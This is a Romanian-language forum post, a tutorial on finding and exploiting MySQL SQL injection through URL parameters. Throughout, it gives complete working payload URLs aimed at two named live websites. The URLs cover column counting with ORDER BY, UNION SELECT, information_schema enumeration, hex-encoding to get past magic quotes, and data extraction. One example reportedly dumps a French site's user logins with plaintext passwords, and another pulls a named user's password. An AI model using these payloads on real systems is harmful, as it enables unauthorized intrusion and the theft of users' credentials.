Leaderboard
Popular Content
Showing content with the highest reputation on 01/09/11 in all areas
-
In acest tutorial o sa va arat cum sa detectati si exploatati vulnerabilitati de tip SQL injection si o sa incerc sa il fac pe intelesul tuturor. -Pentru inceput...in ce consta o vulnerabilitate SQL injection? -Pe scurt si pe intelesul tuturor, o vulnerabilitate SQLi permite atacatorului sa execute sintaxe asupra unei baze de date. Aceasta vulnerabilitate este foarte des intalnita din cauza neatentiei programatorilor aplicatiilor web. Sintaxa poate fi executata fie din link, fie prin HTTP form REQUESTS. Cel mai comun tip de vulnerabilitate este cel din link. Cel mai comun, dar nu intotdeauna cel mai eficient...Serverul poate pune restrictii si poate filtra anumite comenzi si caractere in link, lucru care fac injectarea mult mai dificila sau chiar imposibila.Metodele(cele stiute de mine) pentru bypass sunt Blind SQL injection(subiect pe care probabil nu o sa il abordez niciodata, din cauza nervilor pe care mil creeaza),smugglingul + alte "trikuri". Bun. 1.Detectarea SQLi In cele mai multe cazuri, verificarea securitatii unui web-site(la SQL injection) se face pe baza unei erori aparute la modificarea valorii parametrului de dupa "=". Erorile variaza, sunt foarte multe si nu are rost sa le enumar. Probabil le puteti gasii si in alte N tutoriale legate de SQLi, deci nu are rost. Well..eu nu sunt de acord in totalitate cu verificare in acest mod. Am gasit foarte multe vulnerabilitati error-based, dar foarte multe nu m-au condus nicaieri. Pot spune ca 60% din siteurile ce afiseaza eroarea pot fi exploatate (vorbesc din experienta). Daca un site nu prezinta eroare nu inseamna ca nu este vulnerabil. Cel mai sigur mod de verificare este folosirea unui "false query". Asta inseamna plasarea dupa valoarea parametrului a unei sintaxe false (ex: 1=2, '=", etc.). Va recomand sa folositi aceasta metoda fie daca apare sau nu eroarea. Cel mai bun mod de a verifica o posibila vulnerabilitate este punerea unui apostrof " ' " in fata valorii. http://www.austriasolidarity.com/showart.php?articleid='6886 Daca apare vreo eroare sau pagina se modifica intr-un fel sau altul, inlaturati apostroful si adaugati o sintaxa adevarata: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=1 Pagina ar trebuii sa arate normal. Acum schimbati sintaxa cu una falsa: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2 Pagina ar trebuii sa afiseze eroare sau sa se schimbe intr-un fel sau altul. Daca asa e, pagina este vulnerabila la SQLi. 2.Exploatarea a.Numarul coloanelor Eh, aici incepe partea mai interesanta. Dupa detectarea vulnerabilitatii, primul pas ar fi gasirea numarului de coloane. Acesta se face cu ajutorul sintaxei "ORDER BY". Un alt aspect important legat de alcatuirea sintaxei, este terminatia. Cea mai comuna terminatie este "--" dar mai puteti folosii si terminatia "/*"(Aceasta apartine versiunilor mai vechi dar inca mai este functionabila. Uneori e chiar indispensabila.). Sunt cazuri in care terminatia nu este necesara, dar va recomand sa o folositi. Niciodata nu se stie cum arata sintaxa totala in care lucrati, si nu strica sa incercati mai multe combinatii pentru reusita injectarii. Sunt cazuri in care apostrofurile pot ajuta. EX: ..?id=34+'union+all+select+34--'. Aceste apostrofuri separa sintaxa dv. de restul sintaxei, doar in anumite situatii. Sa revenim la subiect. Prima incercare va fi cu 1. http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+1-- Observati ca pagina nu si-a schimbat forma. Continuam cu 2,3,etc. http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+2-- http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+3-- http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+4-- Pana acum nicio schimbare. Sa vedem cum va reactiona la "order+by+5". http://www.austriasolidarity.com/showart.php?articleid=6886+order+by+5-- Ceva e schimbat. Eroarea a revenit. Asta inseamna ca numarul coloanelor este 4. b.Selectarea coloanelor Selectarea coloanelor se face cu ajutorul sintaxei "UNION ALL SELECT". Operatorul UNION combina rezultatele a 2 sau mai multe selectari din tabele diferite. Nu are rost sa intram in detalii, dar acest operator este important. Am aflat ca numarul coloanelor este 4, deci sintaxa va arata asa: http://www.austriasolidarity.com/showart.php?articleid=6886+union+all+select+1,2,3,4-- Observam din nou faptul ca pagina este intacta, fara nicio modificare. c.Afisarea coloanelor In mod normal afisarea coloanelor se face in felul urmator: 1.Adaugand un "-" in fata valorii: http://www.austriasolidarity.com/showart.php?articleid=-6886+union+all+select+1,2,3,4-- 2.Adaugand un "false query" in fata sintaxei cu care operam: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+1,2,3,4-- Observam aparitia unor 3 valori: 1,2,3. Uneori se pot afisa toate coloanele, uneori decat 1, alteori niciodata. Nu uitati sa verificati si codul sursa, coloanele pot aparea si acolo cand nu sunt afisate vizibil. d.Aflarea versiunii Un pas important este aflarea versiunii. Daca aceasta este <=4, atunci poate fi o problema. Tabelele si coloanele vor trebuii aflate prin ghicit, iar rabdarea nu este punctul meu forte. Daca versiunea este 5, putem afla numele bazelor de date, tabelelor si coloanelor cu ajutorul "Information_schema"(asta o sa va arat eu in acest tutorial). Versiunea se verifica cu operatorul "@@version" sau "version()". Ex: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+@@version,2,3,4-- Observam ca este versiunea 5.0.81. Legat tot de aflarea versiunii..in unele cazuri atunci cand incercati sa folositi operatori precum "version()" sau "user()" s-ar putea sa primiti o eroare de genul:"illegal mix of collations" sau "forbiden characters". Aceste erori pot aparea doar la folosirea operatorilor sau pot aparea si la folosirea operatorilor si la extragerea datelor. In acest caz puteti folosi urmatoarele sintaxe: "CONVERT" si "UNHEX(HEX())". Ex: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+convert(@@version%20using%20latin1),2,3,4-- sau: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+convert(@@version using utf8),2,3,4-- sau: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+unhex(hex(@@version)),2,3,4-- In acest caz nu este nevoie, dar am precizat pentru vulnerabilitatile ce le puteti gasii in viitor. Odata aflata versiunea, putem sa ne ocupam de aflarea numelor bazelor de date, tabelelor si coloanelor. Dupa cum am mai spuis, o sa facem acest lucru prin information_schema, un fel de schita(metadata) a bazei de date complete. e.Aflarea bazelor de date/tabelelor/coloanelor Pentru asta o sa avem nevoie de functia CONCAT. Tot de ea o sa ne folosim si in viitor. Acum o sa aflam bazele de date: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+concat(schema_name),2,3,4%20from%20information_schema.schemata-- O sa va afiseze "information_schema", asta pentru ca si information_schema este un fel de baza de date, doar ca asupra ei nu se opereaza. Pentru aflarea bazei de date principale sau a altor eventuale baze de date, folositi conditia "LIMIT". De ex: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+concat(schema_name),2,3,4+from+information_schema.schemata+limit+0,1-- http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+concat(schema_name),2,3,4+from+information_schema.schemata+limit+1,1-- Daca folosim 2,1 o sa ne apara eroare, deoarece nu mai exista alta baza de date Baza de date principala este: austria_lpldb. -Alternativa CONCAT->GROUP_CONCAT. GROUP_CONCAT va scuteste de folosirea conditiei limit, si afiseaza toate elementele cerute din information_schema cu , intre ele. Acum sa aflam tabelele: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(table_name),2,3,4+from+information_schema.tables+where+table_schema=database() Tabelele: articles,articletypes,email,lnk_articles_articletypes,lplorg,lplpeople Aceasta e una din alternative. Operatorul conditional "WHERE" se va dovedii foarte folositor, la fel ca si in acest caz. Acum o sa aflam doar tabelele din baza de date principala(reprezentata prin "database()"). O alta alternativa ar fi: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(table_name),2,3,4+from+information_schema.tables+where+table_schema=%27austria_lpldb%27-- Dar dupa cum vedeti, este afisata eroare. Sintaxa este corecta, dar serverul are magic_quotes on si nu ne permite folosirea apostroafelor sau a altor caractere. In aceasta situatie apelam la HEX code. Convertim numele bazei de date in HEX, si ii punem un "0x" in fata. Sa incercam: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(table_name),2,3,4+from+information_schema.tables+where+table_schema=0x617573747269615F6C706C6462-- Acelasi rezultat. Convertirea in HEX ne va ajuta foarte mult si in viitor. Acum ca avem tabelele, sa aflam coloanele unuia din tabele. Sa aflam coloanele tabelului "articles". Pentru asta, va trebuii sa convertim cuvantul "articles" in hex. http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(column_name),2,3,4+from+information_schema.columns+where+table_name=0x61727469636C6573-- Coloanele sunt: articleid,title,author,summary,text,datecreated -O sa fac din nou o mica observatie. Daca va simtiti incomodati de celelalte coloane afisate(respectiv 2 si 3) puteti sa le inlocuiti cu valoarea "null". Acestea vor disparea.- Acum ca avem coloanele si tablele, sa facem ceea ce e mai important: Sa exploatam. In acest caz nu prea avem ce sa exploatam...Doar sa obtinem cateva informatii: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+group_concat(title,0x3a,author),2,3,4+from+articles-- Aici vedem titlul si autorul unor articole, separete prin ":". Acest ":" il reprezinta acel "0x3a", varianta lui ":" in HEX. Acest site nu prezinta interes, a fost folosit doar pentru exemplu, dar vulnerabilitatile in alte siteuri va pot aduce beneficii... De exemplu, aici puteti vedea userii si parolele lor, din baza de date a unui site multifunctional francez: http://tivipro.tv/salons_sshome.php?id_salon=-296+union+all+select+1,2,3,4,group_concat(login,0x3a,password),6,7+from+meta_users-- Dupa cum vedeti parolele sunt in plain text, lucru care va face treaba mult mai usoara. In mare parte, in asta consta exploatarea unei vulnerabilitati de tip SQLi. Acum o sa va prezint cateva detalii si observatii legate de anumite lucruri ce va pot ajuta in viitor: *Functia "CONCAT_WS" - va poate fi de folos atunci cand aveti de extras date din mai multe coloane. Ea pune automat semnul stabilit la inceput intre valorile coloanelor. Ex: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+concat_ws(0x3a,title,author,datecreated),2,3,4+from+articles *Pot exista situatii in care CONVERT si UNHEX(HEX()) nu functioneaza. Atunci puteti folosi functia AES_DECRYPT(AES_ENCRYPT... ex: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()),0x71),0x71),2,3,4+from+articles-- AES este o metoda de encriptie (128bit key lenght,cea mai eficienta din MySQL) si din experienta, este cea mai rapida. *Functia "COUNT".Va ajuta sa numarati coloanele, atunci cand dati de tabele cu coloane lungi. Selectati sa numere una din coloane (de preferat coloana cheie, care de obicei este "ID"). ex: http://www.austriasolidarity.com/showart.php?articleid=6886+and+1=2+union+all+select+count(title),2,3,4+from+articles *Aflarea valorii unei coloane, corespondenta valorii altei coloane. Se face cu ajutorul clauzei "where". De exemplu, vrei sa aflam parola userului "louis"(in cazul acesta louis trebuie convertit in HEX): http://tivipro.tv/salons_sshome.php?id_salon=-296+union+all+select+1,2,3,4,concat(password),6,7+from+meta_users+where+login=0x6C6F756973-- Cam atat cu acest tutorial. L-am facut pe intelesul tuturor, si sper ca nu va fi greu de invatat. Pentru mai multe informatii legate de anumite functii sau operatori, consultati "MySQL Reference Manual". Pentru a manevra aceste operatii trebuie mai intai sa intelegeti cum functioneaza un sistem de gestionare a bazelor de date, deci va recomand sa il consultati. Stiu ca sunt destule tutoriale, dar eu l-am structurat pe asta in cel mai usor mod posibil si am expus aproape toate aspectele necesare unei injectari normale.-1 points